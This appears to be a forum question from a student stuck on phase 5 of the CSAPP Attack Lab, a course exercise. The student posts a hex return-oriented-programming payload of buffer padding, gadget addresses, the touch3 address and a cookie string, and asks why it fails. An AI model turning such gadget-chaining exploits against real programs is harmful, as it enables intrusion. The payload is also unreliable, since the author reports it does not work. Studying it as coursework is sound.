title: CSAPP 3e Attack lab phase 5
body: <p>This is the phase 5 of attack lab. Due to address randomization and non-executable stack, we are supposed to use Return Oriented Programming (ROP) to pass the string pointer of a given cookie value as argument to a function called touch3. I cannot describe the question better since that's all I can understand so far, the full instruction is on this PDF page 10: 
  <a href="http://csapp.cs.cmu.edu/3e/attacklab.pdf" rel="nofollow noreferrer">Attack Lab</a>!</p>
  
  <p>This is my answer, but I am not sure what's wrong with it as it does not work.
  <a href="https://justpaste.it/529fw" rel="nofollow noreferrer">here is my objdump</a>!</p>
  
  <pre><code>00 00 00 00 00 00 00 00 /* buffer */
  00 00 00 00 00 00 00 00 /* buffer */
  00 00 00 00 00 00 00 00 /* buffer */
  D6 1a 40 00 00 00 00 00 /* mov %rsp,%rax == 48 89 e0 */
  2D 1a 40 00 00 00 00 00 /* mov %rax,%rdi == 48 89 c7 */
  3D 1a 40 00 00 00 00 00 /* pop rax       == 58    */
  48 00 00 00 00 00 00 00 /* offset */
  e4 1a 40 00 00 00 00 00 /* mov %eax,%edx == 89 c2 */
  0B 1a 40 00 00 00 00 00 /* mov %edx,%ecx == 89 d1 */
  FE 1a 40 00 00 00 00 00 /* mov %ecx,%esi == 89 ce */
  5a 1a 40 00 00 00 00 00 /* lea add_xy */
  2D 1a 40 00 00 00 00 00 /* mov %rax,%rdi == 48 89 c7  */
  80 19 40 00 00 00 00 00 /* touch 3 address */
  34 32 33 32 32 33 37 33 /* cookie as string */
  </code></pre>
  
  <p>One of the issues I encountered is that based on Encodings of movq instructions of certain register, I found more than one function on code farm and I was confused which one was the one.</p>
  
  <p>is my logic correct? is there any mistake? why isn't it working?</p>
  
  <p>thank you</p>